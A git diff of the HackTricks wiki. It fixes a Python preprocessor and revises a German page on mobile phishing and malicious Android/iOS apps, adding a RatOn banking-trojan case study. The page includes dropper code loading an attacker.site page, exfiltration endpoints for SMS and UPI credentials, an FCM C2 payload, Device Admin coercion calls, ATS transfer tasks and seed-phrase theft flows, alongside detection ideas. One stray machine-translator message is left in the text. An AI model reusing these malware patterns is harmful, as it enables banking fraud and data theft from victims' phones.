diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d4104d430..abe382dcf 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -837,8 +837,9 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index d618c540d..d29d87fac 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -1,67 +1,67 @@ -# Mobile Phishing & Malicious App Distribution (Android & iOS) +# Mobile-Phishing & Verbreitung bösartiger Apps (Android & iOS) {{#include ../../banners/hacktricks-training.md}} > [!INFO] -> Diese Seite behandelt Techniken, die von Bedrohungsakteuren verwendet werden, um **bösartige Android-APKs** und **iOS-Mobilkonfigurationsprofile** durch Phishing (SEO, Social Engineering, gefälschte Stores, Dating-Apps usw.) zu verteilen. -> Das Material ist aus der SarangTrap-Kampagne adaptiert, die von Zimperium zLabs (2025) und anderen öffentlichen Forschungen aufgedeckt wurde. +> Diese Seite beschreibt Techniken, die von Threat Actors verwendet werden, um **bösartige Android-APKs** und **iOS mobile-configuration profiles** über Phishing (SEO, Social Engineering, Fake-Stores, Dating-Apps, etc.) zu verbreiten. +> Das Material basiert auf der SarangTrap-Kampagne, aufgedeckt von Zimperium zLabs (2025), und weiterer öffentlicher Forschung. -## Angriffsfluss +## Angriffsablauf 1. **SEO/Phishing-Infrastruktur** -* Registrieren Sie Dutzende von ähnlich aussehenden Domains (Dating, Cloud-Sharing, Autodienst…). -– Verwenden Sie lokale Sprachkeywords und Emojis im ``-Element, um bei Google zu ranken. -– Hosten Sie *sowohl* Android (`.apk`) als auch iOS Installationsanleitungen auf derselben Landingpage. -2. **Erste Phase des Downloads** -* Android: direkter Link zu einer *nicht signierten* oder „Drittanbieter-Store“ APK. -* iOS: `itms-services://` oder einfacher HTTPS-Link zu einem bösartigen **mobileconfig**-Profil (siehe unten). -3. **Post-Installations-Social Engineering** -* Bei der ersten Ausführung fragt die App nach einem **Einladungs-/Verifizierungscode** (Illusion des exklusiven Zugangs). -* Der Code wird **über HTTP POST** an das Command-and-Control (C2) gesendet. -* C2 antwortet `{"success":true}` ➜ Malware wird fortgesetzt. -* Sandbox-/AV-Dynamikanalyse, die niemals einen gültigen Code einreicht, sieht **kein bösartiges Verhalten** (Evasion). -4. **Missbrauch von Laufzeitberechtigungen** (Android) -* Gefährliche Berechtigungen werden nur **nach positiver C2-Antwort** angefordert: +* Registrierung Dutzender Look-alike-Domains (Dating, cloud share, Autodienst…). +– Nutzung lokaler Schlüsselwörter und Emojis im `<title>`-Element, um in Google zu ranken. +– Auf derselben Landing-Page sowohl Android (`.apk`) als auch iOS-Installationsanweisungen hosten. +2. **Erste Stufe: Download** +* Android: direkter Link zu einer *unsigned* oder „third-party store“ APK. +* iOS: `itms-services://` oder plain HTTPS-Link zu einem bösartigen **mobileconfig**-Profile (siehe unten). +3. **Social Engineering nach der Installation** +* Beim ersten Start fragt die App nach einem **Einladungs-/Verifikationscode** (Illusion exklusiven Zugriffs). +* Der Code wird **per POST über HTTP** an das Command-and-Control (C2) gesendet. +* C2 antwortet `{"success":true}` ➜ Malware setzt sich fort. +* Sandbox-/AV-Dynamikanalysen, die niemals einen gültigen Code senden, sehen **kein bösartiges Verhalten** (Evasion). +4. **Missbrauch von Laufzeitberechtigungen (Android)** +* Gefährliche Berechtigungen werden erst **nach positiver C2-Antwort** angefragt: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> -<!-- Ältere Builds fragten auch nach SMS-Berechtigungen --> +<!-- Older builds also asked for SMS permissions --> ``` -* Neuere Varianten **entfernen `<uses-permission>` für SMS aus `AndroidManifest.xml`**, lassen jedoch den Java/Kotlin-Codepfad, der SMS über Reflection liest ⇒ senkt den statischen Score, während er auf Geräten, die die Berechtigung über `AppOps`-Missbrauch oder alte Ziele gewähren, weiterhin funktional bleibt. -5. **Fassade UI & Hintergrundsammlung** -* Die App zeigt harmlose Ansichten (SMS-Viewer, Galerieauswahl), die lokal implementiert sind. -* In der Zwischenzeit exfiltriert sie: +* Neuere Varianten **entfernen `<uses-permission>` für SMS aus der `AndroidManifest.xml`**, lassen aber den Java/Kotlin-Codepfad, der SMS per Reflection liest ⇒ senkt den statischen Score, bleibt aber auf Geräten funktionsfähig, die die Berechtigung via `AppOps`-Missbrauch oder bei alten Targets gewähren. +5. **Fassade-UI & Hintergrundsammlung** +* Die App zeigt harmlose Views (SMS-Viewer, Gallery-Picker), lokal implementiert. +* Gleichzeitig exfiltriert sie: - IMEI / IMSI, Telefonnummer -- Vollständiger `ContactsContract`-Dump (JSON-Array) -- JPEG/PNG von `/sdcard/DCIM`, komprimiert mit [Luban](https://github.com/Curzibn/Luban), um die Größe zu reduzieren -- Optionaler SMS-Inhalt (`content://sms`) -Payloads werden **batch-zippt** und über `HTTP POST /upload.php` gesendet. -6. **iOS-Liefertechnik** -* Ein einzelnes **Mobilkonfigurationsprofil** kann `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` usw. anfordern, um das Gerät in eine „MDM“-ähnliche Aufsicht einzuschreiben. -* Social-Engineering-Anweisungen: -1. Einstellungen öffnen ➜ *Profil heruntergeladen*. -2. Dreimal auf *Installieren* tippen (Screenshots auf der Phishing-Seite). -3. Das nicht signierte Profil vertrauen ➜ Angreifer erhält *Kontakte* & *Foto*-Berechtigung ohne App Store-Überprüfung. +- Voller `ContactsContract`-Dump (JSON-Array) +- JPEG/PNG aus `/sdcard/DCIM`, komprimiert mit [Luban](https://github.com/Curzibn/Luban) zur Größenreduktion +- Optional SMS-Inhalte (`content://sms`) +Payloads werden **batch-gezipt** und via `HTTP POST /upload.php` gesendet. +6. **iOS-Auslieferungstechnik** +* Ein einzelnes mobile-configuration profile kann `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. anfordern, um das Gerät in eine „MDM“-ähnliche Aufsicht einzubinden. +* Social-Engineering-Anleitung: +1. Einstellungen öffnen ➜ *Profile heruntergeladen*. +2. Dreimal auf *Install* tippen (Screenshots auf der Phishing-Seite). +3. Dem unsigned Profile vertrauen ➜ Angreifer erhält *Contacts*- & *Photo*-Entitlement ohne App Store-Review. 7. **Netzwerkschicht** -* Einfaches HTTP, oft auf Port 80 mit HOST-Header wie `api.<phishingdomain>.com`. +* Plain HTTP, oft auf Port 80 mit HOST-Header wie `api.<phishingdomain>.com`. * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (kein TLS → leicht zu erkennen). -## Defensive Tests / Red-Team Tipps +## Defensive Testing / Red-Team Tipps -* **Umgehung der dynamischen Analyse** – Automatisieren Sie die Einladungscode-Phase mit Frida/Objection, um den bösartigen Zweig zu erreichen. -* **Manifest vs. Laufzeit-Diff** – Vergleichen Sie `aapt dump permissions` mit der Laufzeit `PackageManager#getRequestedPermissions()`; fehlende gefährliche Berechtigungen sind ein Warnsignal. -* **Netzwerk-Kanary** – Konfigurieren Sie `iptables -p tcp --dport 80 -j NFQUEUE`, um unsichere POST-Bursts nach der Codeeingabe zu erkennen. -* **mobileconfig-Inspektion** – Verwenden Sie `security cms -D -i profile.mobileconfig` auf macOS, um `PayloadContent` aufzulisten und übermäßige Berechtigungen zu erkennen. +* **Dynamic Analysis Bypass** – Während der Malware-Analyse die Einladungs-Code-Phase mit Frida/Objection automatisieren, um den bösartigen Zweig zu erreichen. +* **Manifest vs. Runtime Diff** – `aapt dump permissions` mit der Laufzeit-`PackageManager#getRequestedPermissions()` vergleichen; fehlende gefährliche Perms sind verdächtig. +* **Network Canary** – `iptables -p tcp --dport 80 -j NFQUEUE` konfigurieren, um unstete POST-Bursts nach Code-Eingabe zu erkennen. +* **mobileconfig Inspection** – `security cms -D -i profile.mobileconfig` auf macOS nutzen, um `PayloadContent` aufzulisten und übermäßige Entitlements zu erkennen. -## Blue-Team Erkennungsideen +## Blue-Team Erkennungsansätze -* **Zertifikatstransparenz / DNS-Analytik**, um plötzliche Ausbrüche von keyword-reichen Domains zu erfassen. -* **User-Agent & Pfad Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb des Google Play. -* **Einladungs-Code-Telemetrie** – POST von 6–8-stelligen numerischen Codes kurz nach der APK-Installation kann auf Staging hinweisen. -* **MobileConfig-Signierung** – Blockieren Sie nicht signierte Konfigurationsprofile über die MDM-Richtlinie. +* **Certificate Transparency / DNS-Analysen**, um plötzliche Wellen keywordreicher Domains zu erfassen. +* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb des Google Play-Kontexts. +* **Invite-code Telemetrie** – POSTs von 6–8-stelligen numerischen Codes kurz nach APK-Installation können auf Staging hinweisen. +* **MobileConfig Signing** – Unsigned configuration profiles per MDM-Policy blockieren. -## Nützlicher Frida-Snippet: Auto-Bypass Einladungscode +## Nützliches Frida-Snippet: Auto-Bypass Invitation Code ```python # frida -U -f com.badapp.android -l bypass.js --no-pause # Hook HttpURLConnection write to always return success @@ -88,28 +88,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex ``` --- -## Android WebView Zahlung Phishing (UPI) – Dropper + FCM C2 Muster +## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern -Dieses Muster wurde in Kampagnen beobachtet, die Regierungsleistungs-Themen missbrauchen, um indische UPI-Anmeldeinformationen und OTPs zu stehlen. Betreiber verknüpfen seriöse Plattformen für die Lieferung und Resilienz. +Dieses Muster wurde in Kampagnen beobachtet, die Themen zu staatlichen Leistungen missbrauchen, um indische UPI-Zugangsdaten und OTPs zu stehlen. Betreiber verknüpfen vertrauenswürdige Plattformen, um Zustellung und Resilienz zu gewährleisten. -### Lieferkette über vertrauenswürdige Plattformen -- YouTube-Video-Ablenkung → Beschreibung enthält einen Kurzlink -- Kurzlink → GitHub Pages Phishing-Seite, die das legitime Portal imitiert -- Dasselbe GitHub-Repo hostet eine APK mit einem gefälschten „Google Play“-Badge, das direkt auf die Datei verlinkt -- Dynamische Phishing-Seiten sind auf Replit aktiv; der Remote-Befehlskanal nutzt Firebase Cloud Messaging (FCM) +### Delivery chain across trusted platforms +- YouTube-Video-Köder → Beschreibung enthält einen Kurzlink +- Kurzlink → GitHub Pages phishing site, die das legitime Portal imitiert +- Dasselbe GitHub-Repo hostet eine APK mit einem gefälschten “Google Play”-Badge, das direkt auf die Datei verlinkt +- Dynamische phishing pages sind auf Replit aktiv; der Remote-Kommando-Kanal verwendet Firebase Cloud Messaging (FCM) -### Dropper mit eingebettetem Payload und Offline-Installation -- Die erste APK ist ein Installer (Dropper), der die echte Malware unter `assets/app.apk` liefert und den Benutzer auffordert, Wi‑Fi/mobile Daten zu deaktivieren, um die Cloud-Erkennung zu umgehen. -- Der eingebettete Payload wird unter einem harmlosen Label (z. B. „Sichere Aktualisierung“) installiert. Nach der Installation sind sowohl der Installer als auch der Payload als separate Apps vorhanden. +### Dropper with embedded payload and offline install +- Die erste APK ist ein Installer (dropper), der die eigentliche Malware in `assets/app.apk` ausliefert und den Nutzer auffordert, Wi‑Fi/mobile Daten zu deaktivieren, um Cloud-Erkennung zu erschweren. +- Der eingebettete Payload installiert sich unter einem harmlosen Namen (z. B. “Secure Update”). Nach der Installation sind sowohl der Installer als auch der Payload als separate Apps vorhanden. -Statische Triage-Tipp (grep nach eingebetteten Payloads): +Tipp zur statischen Triage (grep nach embedded payloads): ```bash unzip -l sample.apk | grep -i "assets/app.apk" # Or: zipgrep -i "classes|.apk" sample.apk | head ``` -### Dynamische Endpunktentdeckung über Shortlink -- Malware ruft eine Klartext-, durch Kommas getrennte Liste von aktiven Endpunkten von einem Shortlink ab; einfache String-Transformationen erzeugen den endgültigen Pfad der Phishing-Seite. +### Dynamic endpoint discovery via shortlink +- Malware lädt eine plain-text, comma-separated Liste mit live endpoints von einem shortlink herunter; einfache string transforms erzeugen den finalen phishing page path. Beispiel (bereinigt): ``` @@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView) UPI credential POST: https://sqcepo.replit.app/addup.php SMS upload: https://sqcepo.replit.app/addsm.php ``` -Pseudo-Code: +Pseudocode: ```java String csv = httpGet(shortlink); String[] parts = csv.split(","); @@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm"); String smsPost = parts[1]; String credsPost = upiPage.replace("gate.htm", "addup.php"); ``` -### WebView-basierte UPI-Anmeldeinformationen-Erfassung -- Der Schritt „Zahlung von ₹1 / UPI‑Lite“ lädt ein HTML-Formular des Angreifers von dem dynamischen Endpunkt innerhalb eines WebView und erfasst sensible Felder (Telefon, Bank, UPI-PIN), die an `addup.php` `POST`ed werden. +### WebView-basierte UPI credential harvesting +- Der “Make payment of ₹1 / UPI‑Lite” Schritt lädt ein bösartiges HTML-Formular vom dynamischen Endpoint innerhalb einer WebView und erfasst sensible Felder (Telefonnummer, Bank, UPI PIN), die per `POST` an `addup.php` gesendet werden. Minimaler Loader: ```java @@ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web); wv.getSettings().setJavaScriptEnabled(true); wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm ``` -### Selbstverbreitung und SMS/OTP-Abfang +### Selbstverbreitung und SMS/OTP-Abfangung - Aggressive Berechtigungen werden beim ersten Start angefordert: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> @@ -144,8 +144,8 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> ``` -- Kontakte werden verwendet, um massenhaft Smishing-SMS von dem Gerät des Opfers zu versenden. -- Eingehende SMS werden von einem Broadcast-Receiver abgefangen und mit Metadaten (Absender, Text, SIM-Slot, gerätespezifische zufällige ID) an `/addsm.php` hochgeladen. +- Kontakte werden durchlaufen, um smishing-SMS massenhaft vom Gerät des Opfers zu versenden. +- Eingehende SMS werden von einem broadcast receiver abgefangen und zusammen mit Metadaten (sender, body, SIM slot, per-device random ID) zu `/addsm.php` hochgeladen. Receiver-Skizze: ```java @@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder() } } ``` -### Firebase Cloud Messaging (FCM) als resilientes C2 -- Die Nutzlast registriert sich bei FCM; Push-Nachrichten enthalten ein `_type`-Feld, das als Schalter verwendet wird, um Aktionen auszulösen (z. B. Phishing-Textvorlagen aktualisieren, Verhaltensweisen umschalten). +### Firebase Cloud Messaging (FCM) als robustes C2 +- Die payload registriert sich bei FCM; Push-Nachrichten enthalten ein `_type`-Feld, das als Schalter verwendet wird, um Aktionen auszulösen (z. B. Aktualisierung von phishing-Textvorlagen, Umschalten von Verhalten). -Beispiel FCM-Nutzlast: +Beispiel-FCM-Payload: ```json { "to": "<device_fcm_token>", @@ -186,27 +186,177 @@ case "smish": sendSmishToContacts(); break; } } ``` -### Jagdmuster und IOCs -- APK enthält sekundäre Payload unter `assets/app.apk` +### Hunting patterns and IOCs +- APK enthält sekundären Payload in `assets/app.apk` - WebView lädt Zahlung von `gate.htm` und exfiltriert zu `/addup.php` - SMS-Exfiltration zu `/addsm.php` -- Kurzlink-gesteuertes Konfigurationsabrufen (z.B. `rebrand.ly/*`), das CSV-Endpunkte zurückgibt -- Apps, die als generisches „Update/Sicheres Update“ gekennzeichnet sind -- FCM `data` Nachrichten mit einem `_type` Diskriminator in nicht vertrauenswürdigen Apps +- Shortlink-gesteuerter Konfigurationsabruf (z. B. `rebrand.ly/*`) mit zurückgegebenen CSV-Endpunkten +- Apps mit der Bezeichnung „Update/Secure Update“ +- FCM `data`-Nachrichten mit einem `_type`-Discriminator in nicht vertrauenswürdigen Apps -### Erkennungs- und Verteidigungsideen -- Markieren Sie Apps, die Benutzer anweisen, das Netzwerk während der Installation zu deaktivieren und dann eine zweite APK von `assets/` seitlich zu laden. -- Alarm bei der Berechtigungstuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-basierte Zahlungsflüsse. -- Egress-Überwachung für `POST /addup.php|/addsm.php` auf nicht-unternehmensinternen Hosts; blockieren Sie bekannte Infrastrukturen. -- Mobile EDR-Regeln: nicht vertrauenswürdige App, die sich für FCM registriert und auf ein `_type` Feld verzweigt. +### Detection & defence ideas +- Markiere Apps, die Benutzer anweisen, das Netzwerk während der Installation zu deaktivieren und dann ein zweites APK aus `assets/` zu sideloaden. +- Alarm bei dem Berechtigungs-Tupel: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-basierte Zahlungsflüsse. +- Egress-Monitoring für `POST /addup.php|/addsm.php` auf nicht-korporativen Hosts; bekannte Infrastruktur blockieren. +- Mobile EDR-Regeln: nicht vertrauenswürdige App registriert sich für FCM und verzweigt anhand eines `_type`-Felds. --- +## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn Fallstudie + +Die RatOn banker/RAT-Kampagne (ThreatFabric) ist ein konkretes Beispiel dafür, wie moderne mobile phishing-Operationen WebView-Dropper, Accessibility-getriebene UI-Automatisierung, Overlays/Ransom, Device-Admin-Zwang, Automated Transfer System (ATS), die Übernahme von Crypto-Wallets und sogar NFC-Relay-Orchestrierung miteinander verbinden. Dieser Abschnitt abstrahiert die wiederverwendbaren Techniken. + +### Stage-1: WebView → native install bridge (dropper) +Angreifer präsentieren eine WebView, die auf eine Angreifer-Seite zeigt, und injizieren eine JavaScript-Schnittstelle, die einen nativen Installer exponiert. Ein Tippen auf einen HTML-Button ruft nativen Code auf, der ein in den Assets des dropper gebündeltes second-stage APK installiert und dieses anschließend direkt startet. + +Minimal pattern: +```java +public class DropperActivity extends Activity { +@Override protected void onCreate(Bundle b){ +super.onCreate(b); +WebView wv = new WebView(this); +wv.getSettings().setJavaScriptEnabled(true); +wv.addJavascriptInterface(new Object(){ +@android.webkit.JavascriptInterface +public void installApk(){ +try { +PackageInstaller pi = getPackageManager().getPackageInstaller(); +PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); +int id = pi.createSession(p); +try (PackageInstaller.Session s = pi.openSession(id); +InputStream in = getAssets().open("payload.apk"); +OutputStream out = s.openWrite("base.apk", 0, -1)){ +byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); +} +PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); +pi.commit(id, status.getIntentSender()); +} catch (Exception e) { /* log */ } +} +}, "bridge"); +setContentView(wv); +wv.loadUrl("https://attacker.site/install.html"); +} +} +``` +Bitte füge den HTML-/Markdown-Inhalt der Seite ein, den ich übersetzen soll. Ich übersetze nur den englischen Fließtext ins Deutsche und lasse Tags, Links, Pfade, Code und spezielle Referenzen unverändert. +```html +<button onclick="bridge.installApk()">Install</button> +``` +Nach der Installation startet der dropper die payload über ein explizites package/activity: +```java +Intent i = new Intent(); +i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); +startActivity(i); +``` +Hunting-Idee: nicht vertrauenswürdige Apps rufen `addJavascriptInterface()` auf und exponieren installer-ähnliche Methoden an WebView; APK liefert eine eingebettete sekundäre Payload unter `assets/` und ruft die Package Installer Session API auf. + +### Zustimmungsablauf: Accessibility + Device Admin + nachfolgende Runtime-Eingabeaufforderungen +Stage-2 öffnet ein WebView, das eine “Access”-Seite hostet. Deren Button ruft eine exportierte Methode auf, die das Opfer zu den Accessibility-Einstellungen navigiert und das Aktivieren des bösartigen Dienstes anfordert. Sobald gewährt, verwendet die Malware Accessibility, um automatisch durch nachfolgende Runtime-Berechtigungsdialoge (contacts, overlay, manage system settings, etc.) zu klicken und fordert Device Admin an. + +- Accessibility hilft programmatisch, spätere Aufforderungen anzunehmen, indem es Buttons wie “Allow”/“OK” im Node-Baum findet und Klicks auslöst. +- Overlay-Berechtigungsprüfung/-anfrage: +```java +if (!Settings.canDrawOverlays(ctx)) { +Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, +Uri.parse("package:" + ctx.getPackageName())); +ctx.startActivity(i); +} +``` +Siehe auch: + +{{#ref}} +../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +{{#endref}} + +### Overlay phishing/ransom via WebView +Operatoren können Befehle ausgeben, um: +- eine Vollbild-Overlay von einer URL zu rendern, oder +- inline HTML zu übergeben, das in ein WebView-Overlay geladen wird. + +Wahrscheinliche Verwendungsfälle: Nötigung (PIN-Eingabe), Öffnen der Wallet zum Abgreifen von PINs, Erpressungsnachrichten. Einen Befehl bereithalten, um sicherzustellen, dass die Overlay-Berechtigung erteilt ist, falls sie fehlt. + +### Remote control model – text pseudo-screen + screen-cast +- Niedrige Bandbreite: periodisch den Accessibility node tree dumpen, sichtbare Texte/Rollen/Bounds serialisieren und als pseudo-screen an C2 senden (Befehle wie `txt_screen` einmalig und `screen_live` kontinuierlich). +- Hohe Qualität: MediaProjection anfordern und bei Bedarf screen-casting/recording starten (Befehle wie `display` / `record`). + +### ATS playbook (bank app automation) +Anhand einer JSON-Aufgabe die Bank-App öffnen, die UI via Accessibility mit einer Mischung aus Textabfragen und Koordinaten-Taps steuern und die Zahlungs-PIN des Opfers eingeben, wenn dazu aufgefordert. + +Example task: +```json +{ +"cmd": "transfer", +"receiver_address": "ACME s.r.o.", +"account": "123456789/0100", +"amount": "24500.00", +"name": "ACME" +} +``` +Example texts seen in one target flow (CZ → EN): +- "Nová platba" → "Neue Zahlung" +- "Zadat platbu" → "Zahlung eingeben" +- "Nový příjemce" → "Neuer Empfänger" +- "Domácí číslo účtu" → "Inländische Kontonummer" +- "Další" → "Weiter" +- "Odeslat" → "Senden" +- "Ano, pokračovat" → "Ja, fortfahren" +- "Zaplatit" → "Bezahlen" +- "Hotovo" → "Fertig" + +Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly. + +### Crypto wallet seed extraction +Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: entsperren (gestohlener PIN oder angegebenes Passwort), zu Security/Recovery navigieren, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages. + +### Device Admin coercion +Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim: + +- Sofortige Sperre: +```java +dpm.lockNow(); +``` +- Aktuelle Anmeldeinformation ablaufen lassen, um eine Änderung zu erzwingen (Accessibility erfasst neuen PIN/Passwort): +```java +dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner +``` +- Erzwinge eine nicht-biometrische Entsperrung, indem keyguard biometric features deaktiviert werden: +```java +dpm.setKeyguardDisabledFeatures(admin, +DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); +``` +Hinweis: Viele DevicePolicyManager-Kontrollen erfordern auf aktuellen Android-Versionen Device Owner/Profile Owner; einige OEM-Builds können jedoch lax sein. Immer auf dem Ziel-OS/OEM validieren. + +### NFC-Relay-Orchestrierung (NFSkate) +Stage-3 kann ein externes NFC-relay-Modul installieren und starten (z. B. NFSkate) und ihm sogar eine HTML-Vorlage übergeben, um das Opfer während des Relays zu führen. Dies ermöglicht kontaktloses card-present cash-out neben online ATS. + +Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). + +### Operator-Befehlsatz (Beispiel) +- UI/Zustand: `txt_screen`, `screen_live`, `display`, `record` +- Sozial: `send_push`, `Facebook`, `WhatsApp` +- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` +- Wallets: `metamask`, `trust`, `blockchain`, `phantom` +- ATS: `transfer`, `check_limit`, `limit` +- Gerät: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` +- Kommunikation/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` +- NFC: `nfs`, `nfs_inject` + +### Erkennungs- & Abwehrideen (RatOn-Stil) +- Nach WebViews suchen, die mit `addJavascriptInterface()` Installer-/Permission-Methoden exponieren; Seiten, die auf “/access” enden und Accessibility-Eingabeaufforderungen auslösen. +- Alarm bei Apps, die kurz nach Gewährung des Service-Zugriffs eine hohe Rate an Accessibility-Gesten/Klicks erzeugen; Telemetrie, die Accessibility-Node-Dumps ähnelt und an C2 gesendet wird. +- Device Admin-Policy-Änderungen in nicht vertrauenswürdigen Apps überwachen: `lockNow`, Passwortablauf, Keyguard-Feature-Toggles. +- Alarm bei MediaProjection-Eingabeaufforderungen von Nicht-Firmen-Apps, gefolgt von periodischen Frame-Uploads. +- Erkennung der Installation/Start eines externen NFC-relay-App, die von einer anderen App ausgelöst wurde. +- Für Banking: außerbandliche Bestätigungen durchsetzen, Biometrie-Bindung und Transaktionslimits, die gegen On-Device-Automatisierung resistent sind. + ## Referenzen - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban – Android image compression library](https://github.com/Curzibn/Luban) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) +- [The Rise of RatOn: From NFC heists to remote control and ATS 